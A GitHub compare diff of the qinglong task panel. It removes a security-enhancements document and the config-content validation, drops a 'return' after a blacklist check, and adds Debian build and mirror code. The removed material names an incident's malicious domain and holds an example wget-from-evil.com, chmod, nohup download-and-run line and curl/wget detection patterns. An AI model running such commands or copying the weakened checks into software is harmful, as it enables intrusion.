mirror of
https://github.com/whyour/qinglong.git
synced 2026-08-11 10:40:52 +08:00
Compare commits
63
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
bb23e109cc | ||
|
|
2e7e454c59 | ||
|
|
ddd89dbf97 | ||
|
|
ba46128ea7 | ||
|
|
1c41b72e46 | ||
|
|
243aa16e7a | ||
|
|
89766e538f | ||
|
|
c62972bfde | ||
|
|
063834c6e4 | ||
|
|
9bda6351cc | ||
|
|
5ce523b41b | ||
|
|
c3183a01a9 | ||
|
|
e022018087 | ||
|
|
df94aeca88 | ||
|
|
0072646a49 | ||
|
|
584ca10331 | ||
|
|
3b570eea47 | ||
|
|
29b3b7c93e | ||
|
|
db1b2896fe | ||
|
|
e533623636 | ||
|
|
aebcfcfe1c | ||
|
|
b2fdbc0d71 | ||
|
|
82a6467e37 | ||
|
|
d0d8a5b2c0 | ||
|
|
356c29b0c7 | ||
|
|
5c4e434aa7 | ||
|
|
1dcf9dae2f | ||
|
|
fca7c46e6a | ||
|
|
d1a4e92d0f | ||
|
|
bf6a4de5c6 | ||
|
|
5f41904f53 | ||
|
|
1ff1dcf4c2 | ||
|
|
fc5977de1f | ||
|
|
f79820e5f0 | ||
|
|
29896b8c94 | ||
|
|
d6be908a2c | ||
|
|
6c88523d91 | ||
|
|
45b42a415f | ||
|
|
cfe1bdff07 | ||
|
|
34b11aaa65 | ||
|
|
167b83ecc6 | ||
|
|
578fa874d3 | ||
|
|
4e1401eb27 | ||
|
|
043934b9fc | ||
|
|
ec06db53e1 | ||
|
|
9f8c6fe811 | ||
|
|
de78d9840a | ||
|
|
67244bde92 | ||
|
|
525e6ff2aa | ||
|
|
99993a3b2b | ||
|
|
6d87206ec9 | ||
|
|
4d3fa6b0d4 | ||
|
|
9372d2030f | ||
|
|
8892a4a816 | ||
|
|
2bf5c2c3c9 | ||
|
|
e8a35dd5ee | ||
|
|
51a4408c19 | ||
|
|
360a35d70d | ||
|
|
28a95d1e1c | ||
|
|
609d554cd4 | ||
|
|
e9804c51f8 | ||
|
|
6bec52dca1 | ||
|
|
ce599d306f |
@@ -7,6 +7,8 @@ on:
|
|||||||
branches:
|
branches:
|
||||||
- "master"
|
- "master"
|
||||||
- "develop"
|
- "develop"
|
||||||
|
- "debian"
|
||||||
|
- "debian-dev"
|
||||||
tags:
|
tags:
|
||||||
- "v*"
|
- "v*"
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
@@ -163,9 +165,9 @@ jobs:
|
|||||||
flavor: |
|
flavor: |
|
||||||
latest=false
|
latest=false
|
||||||
tags: |
|
tags: |
|
||||||
type=ref,event=branch,enable=${{ github.ref == format('refs/heads/{0}', 'develop') }}
|
type=ref,event=branch,enable=${{ github.ref == format('refs/heads/{0}', 'debian-dev') }}
|
||||||
type=raw,value=latest,enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
|
type=raw,value=latest,enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
|
||||||
type=raw,value=${{ steps.version.outputs.version }},enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
|
type=raw,value=${{ steps.version.outputs.version }}-debian,enable=${{ github.ref == format('refs/heads/{0}', 'debian') }}
|
||||||
type=semver,pattern={{version}}
|
type=semver,pattern={{version}}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
@@ -183,22 +185,21 @@ jobs:
|
|||||||
QL_BRANCH=${{ github.ref_name }}
|
QL_BRANCH=${{ github.ref_name }}
|
||||||
SOURCE_COMMIT=${{ github.sha }}
|
SOURCE_COMMIT=${{ github.sha }}
|
||||||
network: host
|
network: host
|
||||||
# linux/s390x npm 暂不可用
|
platforms: linux/amd64,linux/arm/v7,linux/arm64,linux/ppc64le,linux/s390x
|
||||||
platforms: linux/amd64,linux/arm/v6,linux/arm/v7,linux/arm64,linux/ppc64le,linux/386
|
|
||||||
context: .
|
context: .
|
||||||
file: ./docker/Dockerfile
|
file: ./docker/Dockerfile
|
||||||
push: true
|
push: true
|
||||||
tags: ${{ steps.meta.outputs.tags }}
|
tags: ${{ steps.meta.outputs.tags }}
|
||||||
labels: ${{ steps.meta.outputs.labels }}
|
labels: ${{ steps.meta.outputs.labels }}
|
||||||
cache-from: type=registry,ref=whyour/qinglong:cache
|
cache-from: type=registry,ref=whyour/qinglong:cache-debian
|
||||||
cache-to: type=registry,ref=whyour/qinglong:cache,mode=max
|
cache-to: type=registry,ref=whyour/qinglong:cache-debian,mode=max
|
||||||
|
|
||||||
- name: Image digest
|
- name: Image digest
|
||||||
run: |
|
run: |
|
||||||
echo ${{ steps.docker_build.outputs.digest }}
|
echo ${{ steps.docker_build.outputs.digest }}
|
||||||
|
|
||||||
build310:
|
build310:
|
||||||
if: ${{ github.ref_name == 'master' }}
|
if: ${{ github.ref_name == 'debian' }}
|
||||||
needs: build-static
|
needs: build-static
|
||||||
|
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
@@ -256,17 +257,42 @@ jobs:
|
|||||||
QL_BRANCH=${{ github.ref_name }}
|
QL_BRANCH=${{ github.ref_name }}
|
||||||
SOURCE_COMMIT=${{ github.sha }}
|
SOURCE_COMMIT=${{ github.sha }}
|
||||||
network: host
|
network: host
|
||||||
# linux/s390x npm 暂不可用
|
platforms: linux/amd64,linux/arm/v7,linux/arm64,linux/ppc64le,linux/s390x
|
||||||
platforms: linux/amd64,linux/arm/v6,linux/arm/v7,linux/arm64,linux/ppc64le,linux/386
|
|
||||||
context: .
|
context: .
|
||||||
file: ./docker/310.Dockerfile
|
file: ./docker/310.Dockerfile
|
||||||
push: true
|
push: true
|
||||||
tags: |
|
tags: |
|
||||||
whyour/qinglong:python3.10
|
whyour/qinglong:debian-python3.10
|
||||||
whyour/qinglong:${{ steps.version.outputs.version }}-python3.10
|
whyour/qinglong:${{ steps.version.outputs.version }}-debian-python3.10
|
||||||
cache-from: type=registry,ref=whyour/qinglong:cache-python3.10
|
cache-from: type=registry,ref=whyour/qinglong:cache-debian-python3.10
|
||||||
cache-to: type=registry,ref=whyour/qinglong:cache-python3.10,mode=max
|
cache-to: type=registry,ref=whyour/qinglong:cache-debian-python3.10,mode=max
|
||||||
|
|
||||||
- name: Image digest
|
- name: Image digest
|
||||||
run: |
|
run: |
|
||||||
echo ${{ steps.docker_build_310.outputs.digest }}
|
echo ${{ steps.docker_build_310.outputs.digest }}
|
||||||
|
|
||||||
|
publish:
|
||||||
|
if: ${{ github.ref_name == 'debian' }}
|
||||||
|
needs: build
|
||||||
|
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- uses: pnpm/action-setup@v3
|
||||||
|
with:
|
||||||
|
version: "8.3.1"
|
||||||
|
|
||||||
|
- uses: actions/setup-node@v3
|
||||||
|
with:
|
||||||
|
cache: "pnpm"
|
||||||
|
|
||||||
|
- name: build front and back
|
||||||
|
run: |
|
||||||
|
pnpm install --frozen-lockfile
|
||||||
|
pnpm build:front
|
||||||
|
pnpm build:back
|
||||||
|
|
||||||
|
- name: publich npm package
|
||||||
|
run: |
|
||||||
|
echo "//registry.npmjs.org/:_authToken=${{ secrets.NPM_TOKEN }}" >> ~/.npmrc
|
||||||
|
npm publish
|
||||||
|
|||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
/.tmp/
|
||||||
|
/.github/
|
||||||
|
/.vscode/
|
||||||
|
/.history/
|
||||||
|
/back/**/*.ts
|
||||||
|
/back/**/*.json
|
||||||
|
/cli/
|
||||||
|
/data/
|
||||||
|
/src/
|
||||||
|
/static/**/*.js.map
|
||||||
|
/static/**/*.gz
|
||||||
|
/.editorconfig
|
||||||
|
/.gitignore
|
||||||
|
/.prettierignore
|
||||||
|
/.prettierrc
|
||||||
|
/.umirc.ts
|
||||||
|
/nodemon.json
|
||||||
|
/pnpm-lock.yaml
|
||||||
|
/tsconfig.back.json
|
||||||
|
/tsconfig.json
|
||||||
|
/typings.d.ts
|
||||||
|
/.env
|
||||||
@@ -1,228 +0,0 @@
|
|||||||
# Security Enhancements
|
|
||||||
|
|
||||||
## Overview
|
|
||||||
|
|
||||||
This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
|
|
||||||
|
|
||||||
## Issue Background
|
|
||||||
|
|
||||||
A security vulnerability was discovered where malicious code could be injected into the system through:
|
|
||||||
1. Cron task fields (`task_before`, `task_after`, `command`)
|
|
||||||
2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
|
|
||||||
|
|
||||||
The reported incident involved a malicious script that:
|
|
||||||
- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
|
|
||||||
- Executed the binary in the background consuming 100% memory
|
|
||||||
- Persisted by continuously re-injecting itself into configuration files
|
|
||||||
|
|
||||||
## Security Fixes Implemented
|
|
||||||
|
|
||||||
### 1. Input Validation for Cron Tasks
|
|
||||||
|
|
||||||
**File:** `/back/validation/schedule.ts`
|
|
||||||
|
|
||||||
Added comprehensive validation to detect and block dangerous shell patterns:
|
|
||||||
|
|
||||||
- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
|
|
||||||
- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
|
|
||||||
- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
|
|
||||||
- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
|
|
||||||
- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
|
|
||||||
- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
|
|
||||||
- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
|
|
||||||
- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
|
|
||||||
|
|
||||||
### 2. Config File Content Security
|
|
||||||
|
|
||||||
**File:** `/back/api/config.ts`
|
|
||||||
|
|
||||||
Enhanced validation for configuration file content to prevent:
|
|
||||||
|
|
||||||
- Downloads followed by execution (`curl | bash`, `wget | bash`)
|
|
||||||
- Download and permission changes (`curl && chmod +x`)
|
|
||||||
- Downloads of hidden files (generalized pattern to catch various malware)
|
|
||||||
- Background execution of hidden files
|
|
||||||
|
|
||||||
### 3. Improved Shell Escaping
|
|
||||||
|
|
||||||
**File:** `/back/services/cron.ts`
|
|
||||||
|
|
||||||
Replaced weak shell escaping with a robust `escapeShellArg()` function that:
|
|
||||||
|
|
||||||
- Properly escapes single quotes using `'\\''` pattern
|
|
||||||
- Replaces newlines with spaces (not semicolons) to prevent command chain creation
|
|
||||||
- Prevents command injection through various shell metacharacters
|
|
||||||
|
|
||||||
## Security Best Practices
|
|
||||||
|
|
||||||
### For Administrators
|
|
||||||
|
|
||||||
1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
|
|
||||||
2. **Monitor Logs**: Check logs for security validation warnings
|
|
||||||
3. **Update Dependencies**: Keep all npm/pip dependencies up to date
|
|
||||||
4. **Limit Access**: Restrict who can create/modify cron tasks and config files
|
|
||||||
5. **Regular Backups**: Maintain backups of configuration files
|
|
||||||
|
|
||||||
### For Users
|
|
||||||
|
|
||||||
1. **Trusted Sources Only**: Only add scripts from trusted repositories
|
|
||||||
2. **Code Review**: Review any script before adding it to your cron tasks
|
|
||||||
3. **Avoid External URLs**: Don't include download commands in task hooks
|
|
||||||
4. **Report Suspicious Activity**: Report any unusual system behavior immediately
|
|
||||||
|
|
||||||
## Validation Error Messages
|
|
||||||
|
|
||||||
When the security system blocks a pattern, you'll see error messages like:
|
|
||||||
|
|
||||||
- `命令包含潜在危险的模式,已被安全系统拦截` - Command contains dangerous pattern
|
|
||||||
- `前置命令包含潜在危险的模式,已被安全系统拦截` - task_before contains dangerous pattern
|
|
||||||
- `后置命令包含潜在危险的模式,已被安全系统拦截` - task_after contains dangerous pattern
|
|
||||||
- `配置文件内容包含潜在危险的模式,已被安全系统拦截` - Config file contains dangerous pattern
|
|
||||||
|
|
||||||
## What to Do If You're Affected
|
|
||||||
|
|
||||||
If you've been affected by the malicious code injection:
|
|
||||||
|
|
||||||
### 1. Immediate Actions
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Stop and remove the malicious process
|
|
||||||
pkill -f ".fullgc"
|
|
||||||
rm -f /ql/data/db/.fullgc
|
|
||||||
|
|
||||||
# Check for the malicious code in configuration files
|
|
||||||
grep -r "fullgc" /ql/data/config/
|
|
||||||
grep -r "551911.xyz" /ql/data/config/
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. Clean Configuration Files
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Backup current configs
|
|
||||||
cp -r /ql/data/config /ql/data/config.backup
|
|
||||||
|
|
||||||
# Review and clean these files:
|
|
||||||
# - /ql/data/config/config.sh
|
|
||||||
# - /ql/data/config/extra.sh
|
|
||||||
# - /ql/data/config/task_before.sh
|
|
||||||
# - /ql/data/config/task_after.sh
|
|
||||||
|
|
||||||
# Remove any lines containing:
|
|
||||||
# - Downloads (curl, wget)
|
|
||||||
# - External URLs
|
|
||||||
# - .fullgc references
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. Review Cron Tasks
|
|
||||||
|
|
||||||
1. Log into Qinglong admin panel
|
|
||||||
2. Check all cron tasks for suspicious content in:
|
|
||||||
- Command field
|
|
||||||
- task_before field
|
|
||||||
- task_after field
|
|
||||||
3. Delete or clean any suspicious tasks
|
|
||||||
|
|
||||||
### 4. Update to Patched Version
|
|
||||||
|
|
||||||
Ensure you're running a version of Qinglong with these security fixes.
|
|
||||||
|
|
||||||
### 5. Change Credentials
|
|
||||||
|
|
||||||
If you suspect compromise:
|
|
||||||
- Change your Qinglong admin password
|
|
||||||
- Review and rotate any API tokens
|
|
||||||
- Check for unauthorized access in logs
|
|
||||||
|
|
||||||
## Detection
|
|
||||||
|
|
||||||
### Log Analysis
|
|
||||||
|
|
||||||
Security events are logged to help detect attempted attacks:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Check for security validation failures in logs
|
|
||||||
grep "安全系统拦截" /ql/data/log/*.log
|
|
||||||
|
|
||||||
# Check for suspicious file modifications
|
|
||||||
grep "配置文件写入" /ql/data/log/*.log
|
|
||||||
```
|
|
||||||
|
|
||||||
### File Integrity
|
|
||||||
|
|
||||||
Regularly check for unexpected files:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Find hidden executables in data directory
|
|
||||||
find /ql/data -type f -name ".*" -executable
|
|
||||||
|
|
||||||
# Check for recently modified config files
|
|
||||||
find /ql/data/config -type f -mtime -1
|
|
||||||
```
|
|
||||||
|
|
||||||
## Limitations
|
|
||||||
|
|
||||||
These security measures provide defense-in-depth but are not foolproof:
|
|
||||||
|
|
||||||
- Legitimate use cases requiring downloads must use alternative methods
|
|
||||||
- Very sophisticated attacks may find bypasses
|
|
||||||
- Users with admin access can still compromise the system
|
|
||||||
- Compromised dependencies can still execute malicious code
|
|
||||||
|
|
||||||
## Alternative Approaches for Legitimate Downloads
|
|
||||||
|
|
||||||
If you have legitimate use cases that require downloads:
|
|
||||||
|
|
||||||
1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
|
|
||||||
2. **Pre-download Files**: Download files manually and add them to the scripts directory
|
|
||||||
3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
|
|
||||||
4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
|
|
||||||
|
|
||||||
## Technical Details
|
|
||||||
|
|
||||||
### Validation Pattern Examples
|
|
||||||
|
|
||||||
**Blocked Pattern:**
|
|
||||||
```bash
|
|
||||||
curl https://example.com/script.sh | bash
|
|
||||||
```
|
|
||||||
**Reason:** Downloads and executes external code
|
|
||||||
|
|
||||||
**Blocked Pattern:**
|
|
||||||
```bash
|
|
||||||
d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
|
|
||||||
```
|
|
||||||
**Reason:** Multiple violations - download, hidden file, chmod, background execution
|
|
||||||
|
|
||||||
**Allowed Pattern:**
|
|
||||||
```bash
|
|
||||||
node /ql/scripts/my_script.js
|
|
||||||
```
|
|
||||||
**Reason:** No dangerous patterns detected
|
|
||||||
|
|
||||||
### Defense in Depth
|
|
||||||
|
|
||||||
This implementation uses multiple layers of security:
|
|
||||||
|
|
||||||
1. **Input Validation**: Blocks malicious patterns before they reach the system
|
|
||||||
2. **Shell Escaping**: Prevents injection even if validation is bypassed
|
|
||||||
3. **Audit Logging**: Records all configuration changes for forensic analysis
|
|
||||||
4. **Least Privilege**: Existing blacklist prevents access to sensitive files
|
|
||||||
|
|
||||||
## Reporting Security Issues
|
|
||||||
|
|
||||||
If you discover a security vulnerability, please report it responsibly:
|
|
||||||
|
|
||||||
1. Do NOT create public GitHub issues for security vulnerabilities
|
|
||||||
2. Contact the maintainers privately
|
|
||||||
3. Provide detailed information about the vulnerability
|
|
||||||
4. Allow time for a patch before public disclosure
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
|
|
||||||
- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
|
|
||||||
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
|
|
||||||
|
|
||||||
## Version History
|
|
||||||
|
|
||||||
- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks
|
|
||||||
+2
-44
@@ -14,7 +14,7 @@ export default (app: Router) => {
|
|||||||
app.use('/configs', route);
|
app.use('/configs', route);
|
||||||
|
|
||||||
route.get(
|
route.get(
|
||||||
'/sample',
|
'/samples',
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
try {
|
try {
|
||||||
res.send({
|
res.send({
|
||||||
@@ -64,44 +64,7 @@ export default (app: Router) => {
|
|||||||
celebrate({
|
celebrate({
|
||||||
body: Joi.object({
|
body: Joi.object({
|
||||||
name: Joi.string().required(),
|
name: Joi.string().required(),
|
||||||
content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
|
content: Joi.string().allow('').optional(),
|
||||||
if (!value) return value;
|
|
||||||
|
|
||||||
// Security validation for configuration file content
|
|
||||||
const dangerousPatterns = [
|
|
||||||
// Command substitution that could download/execute malware
|
|
||||||
{ pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
|
||||||
{ pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
|
||||||
{ pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
|
||||||
{ pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
|
||||||
|
|
||||||
// Suspicious file downloads followed by execution
|
|
||||||
{ pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
|
|
||||||
{ pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
|
|
||||||
|
|
||||||
// Downloads of hidden files (commonly used in malware)
|
|
||||||
{ pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
|
|
||||||
|
|
||||||
// Background execution of hidden files
|
|
||||||
{ pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
|
|
||||||
];
|
|
||||||
|
|
||||||
for (const { pattern, desc } of dangerousPatterns) {
|
|
||||||
if (pattern.test(value)) {
|
|
||||||
return helpers.error('string.unsafe', { description: desc });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check for excessive length
|
|
||||||
if (value.length > 1000000) {
|
|
||||||
return helpers.error('string.max', { limit: 1000000 });
|
|
||||||
}
|
|
||||||
|
|
||||||
return value;
|
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description}),已被安全系统拦截',
|
|
||||||
'string.max': '配置文件内容过长,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
}),
|
}),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
@@ -110,16 +73,11 @@ export default (app: Router) => {
|
|||||||
const { name, content } = req.body;
|
const { name, content } = req.body;
|
||||||
if (config.blackFileList.includes(name)) {
|
if (config.blackFileList.includes(name)) {
|
||||||
res.send({ code: 403, message: '文件无法访问' });
|
res.send({ code: 403, message: '文件无法访问' });
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
let path = join(config.configPath, name);
|
let path = join(config.configPath, name);
|
||||||
if (name.startsWith('data/scripts/')) {
|
if (name.startsWith('data/scripts/')) {
|
||||||
path = join(config.rootPath, name);
|
path = join(config.rootPath, name);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Log security-relevant file modifications
|
|
||||||
logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
|
|
||||||
|
|
||||||
await writeFileWithLock(path, content);
|
await writeFileWithLock(path, content);
|
||||||
res.send({ code: 200, message: '保存成功' });
|
res.send({ code: 200, message: '保存成功' });
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
|||||||
@@ -49,3 +49,38 @@ export const NotificationModeStringMap = {
|
|||||||
19: 'ntfy',
|
19: 'ntfy',
|
||||||
20: 'wxPusherBot',
|
20: 'wxPusherBot',
|
||||||
} as const;
|
} as const;
|
||||||
|
|
||||||
|
export const LINUX_DEPENDENCE_COMMAND: Record<
|
||||||
|
'Debian' | 'Ubuntu' | 'Alpine',
|
||||||
|
{
|
||||||
|
install: string;
|
||||||
|
uninstall: string;
|
||||||
|
info: string;
|
||||||
|
check(info: string): boolean;
|
||||||
|
}
|
||||||
|
> = {
|
||||||
|
Debian: {
|
||||||
|
install: 'apt-get install -y',
|
||||||
|
uninstall: 'apt-get remove -y',
|
||||||
|
info: 'dpkg-query -s',
|
||||||
|
check(info: string) {
|
||||||
|
return info.includes('install ok installed');
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Ubuntu: {
|
||||||
|
install: 'apt-get install -y',
|
||||||
|
uninstall: 'apt-get remove -y',
|
||||||
|
info: 'dpkg-query -s',
|
||||||
|
check(info: string) {
|
||||||
|
return info.includes('install ok installed');
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Alpine: {
|
||||||
|
install: 'apk add --no-check-certificate',
|
||||||
|
uninstall: 'apk del',
|
||||||
|
info: 'apk info -es',
|
||||||
|
check(info: string) {
|
||||||
|
return info.includes('installed');
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|||||||
+148
-3
@@ -10,9 +10,12 @@ import Logger from '../loaders/logger';
|
|||||||
import { writeFileWithLock } from '../shared/utils';
|
import { writeFileWithLock } from '../shared/utils';
|
||||||
import { DependenceTypes } from '../data/dependence';
|
import { DependenceTypes } from '../data/dependence';
|
||||||
import { FormData } from 'undici';
|
import { FormData } from 'undici';
|
||||||
|
import os from 'os';
|
||||||
|
|
||||||
export * from './share';
|
export * from './share';
|
||||||
|
|
||||||
|
let osType: 'Debian' | 'Ubuntu' | 'Alpine' | undefined;
|
||||||
|
|
||||||
export async function getFileContentByName(fileName: string) {
|
export async function getFileContentByName(fileName: string) {
|
||||||
const _exsit = await fileExist(fileName);
|
const _exsit = await fileExist(fileName);
|
||||||
if (_exsit) {
|
if (_exsit) {
|
||||||
@@ -550,7 +553,7 @@ except:
|
|||||||
spec=u.find_spec(name)
|
spec=u.find_spec(name)
|
||||||
print(name if spec else '')
|
print(name if spec else '')
|
||||||
''')"`,
|
''')"`,
|
||||||
[DependenceTypes.linux]: `apk info -es ${name}`,
|
[DependenceTypes.linux]: `apt-get info ${name}`,
|
||||||
};
|
};
|
||||||
|
|
||||||
return baseCommands[type];
|
return baseCommands[type];
|
||||||
@@ -561,7 +564,7 @@ export function getInstallCommand(type: DependenceTypes, name: string): string {
|
|||||||
[DependenceTypes.nodejs]: 'pnpm add -g',
|
[DependenceTypes.nodejs]: 'pnpm add -g',
|
||||||
[DependenceTypes.python3]:
|
[DependenceTypes.python3]:
|
||||||
'pip3 install --disable-pip-version-check --root-user-action=ignore',
|
'pip3 install --disable-pip-version-check --root-user-action=ignore',
|
||||||
[DependenceTypes.linux]: 'apk add --no-check-certificate',
|
[DependenceTypes.linux]: 'apt install -y',
|
||||||
};
|
};
|
||||||
|
|
||||||
let command = baseCommands[type];
|
let command = baseCommands[type];
|
||||||
@@ -581,7 +584,7 @@ export function getUninstallCommand(
|
|||||||
[DependenceTypes.nodejs]: 'pnpm remove -g',
|
[DependenceTypes.nodejs]: 'pnpm remove -g',
|
||||||
[DependenceTypes.python3]:
|
[DependenceTypes.python3]:
|
||||||
'pip3 uninstall --disable-pip-version-check --root-user-action=ignore -y',
|
'pip3 uninstall --disable-pip-version-check --root-user-action=ignore -y',
|
||||||
[DependenceTypes.linux]: 'apk del',
|
[DependenceTypes.linux]: 'apt remove -y',
|
||||||
};
|
};
|
||||||
|
|
||||||
return `${baseCommands[type]} ${name.trim()}`;
|
return `${baseCommands[type]} ${name.trim()}`;
|
||||||
@@ -590,3 +593,145 @@ export function getUninstallCommand(
|
|||||||
export function isDemoEnv() {
|
export function isDemoEnv() {
|
||||||
return process.env.DeployEnv === 'demo';
|
return process.env.DeployEnv === 'demo';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function getOSReleaseInfo(): Promise<string> {
|
||||||
|
const osRelease = await fs.readFile('/etc/os-release', 'utf8');
|
||||||
|
return osRelease;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isDebian(osReleaseInfo: string): boolean {
|
||||||
|
return osReleaseInfo.includes('Debian');
|
||||||
|
}
|
||||||
|
|
||||||
|
function isUbuntu(osReleaseInfo: string): boolean {
|
||||||
|
return osReleaseInfo.includes('Ubuntu');
|
||||||
|
}
|
||||||
|
|
||||||
|
function isCentOS(osReleaseInfo: string): boolean {
|
||||||
|
return osReleaseInfo.includes('CentOS') || osReleaseInfo.includes('Red Hat');
|
||||||
|
}
|
||||||
|
|
||||||
|
function isAlpine(osReleaseInfo: string): boolean {
|
||||||
|
return osReleaseInfo.includes('Alpine');
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function detectOS(): Promise<
|
||||||
|
'Debian' | 'Ubuntu' | 'Alpine' | undefined
|
||||||
|
> {
|
||||||
|
if (osType) return osType;
|
||||||
|
const platform = os.platform();
|
||||||
|
|
||||||
|
if (platform === 'linux') {
|
||||||
|
const osReleaseInfo = await getOSReleaseInfo();
|
||||||
|
if (isDebian(osReleaseInfo)) {
|
||||||
|
osType = 'Debian';
|
||||||
|
} else if (isUbuntu(osReleaseInfo)) {
|
||||||
|
osType = 'Ubuntu';
|
||||||
|
} else if (isAlpine(osReleaseInfo)) {
|
||||||
|
osType = 'Alpine';
|
||||||
|
} else {
|
||||||
|
Logger.error(`Unknown Linux Distribution: ${osReleaseInfo}`);
|
||||||
|
console.error(`Unknown Linux Distribution: ${osReleaseInfo}`);
|
||||||
|
}
|
||||||
|
} else if (platform === 'darwin') {
|
||||||
|
osType = undefined;
|
||||||
|
} else {
|
||||||
|
Logger.error(`Unsupported platform: ${platform}`);
|
||||||
|
console.error(`Unsupported platform: ${platform}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
return osType;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function getCurrentMirrorDomain(
|
||||||
|
filePath: string,
|
||||||
|
): Promise<string | null> {
|
||||||
|
const fileContent = await fs.readFile(filePath, 'utf8');
|
||||||
|
const lines = fileContent.split('\n');
|
||||||
|
for (const line of lines) {
|
||||||
|
if (line.trim().startsWith('#')) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const match = line.match(/https?:\/\/[^\/]+/);
|
||||||
|
if (match) {
|
||||||
|
return match[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function replaceDomainInFile(
|
||||||
|
filePath: string,
|
||||||
|
oldDomainWithScheme: string,
|
||||||
|
newDomainWithScheme: string,
|
||||||
|
): Promise<void> {
|
||||||
|
let fileContent = await fs.readFile(filePath, 'utf8');
|
||||||
|
let updatedContent = fileContent.replace(
|
||||||
|
new RegExp(oldDomainWithScheme, 'g'),
|
||||||
|
newDomainWithScheme,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!newDomainWithScheme.endsWith('/')) {
|
||||||
|
newDomainWithScheme += '/';
|
||||||
|
}
|
||||||
|
|
||||||
|
await writeFileWithLock(filePath, updatedContent);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function _updateLinuxMirror(
|
||||||
|
osType: string,
|
||||||
|
mirrorDomainWithScheme: string,
|
||||||
|
): Promise<string> {
|
||||||
|
let filePath: string, currentDomainWithScheme: string | null;
|
||||||
|
switch (osType) {
|
||||||
|
case 'Debian':
|
||||||
|
filePath = '/etc/apt/sources.list.d/debian.sources';
|
||||||
|
currentDomainWithScheme = await getCurrentMirrorDomain(filePath);
|
||||||
|
if (currentDomainWithScheme) {
|
||||||
|
await replaceDomainInFile(
|
||||||
|
filePath,
|
||||||
|
currentDomainWithScheme,
|
||||||
|
mirrorDomainWithScheme || 'http://deb.debian.org',
|
||||||
|
);
|
||||||
|
return 'apt-get update';
|
||||||
|
} else {
|
||||||
|
throw Error(`Current mirror domain not found.`);
|
||||||
|
}
|
||||||
|
case 'Ubuntu':
|
||||||
|
filePath = '/etc/apt/sources.list.d/ubuntu.sources';
|
||||||
|
currentDomainWithScheme = await getCurrentMirrorDomain(filePath);
|
||||||
|
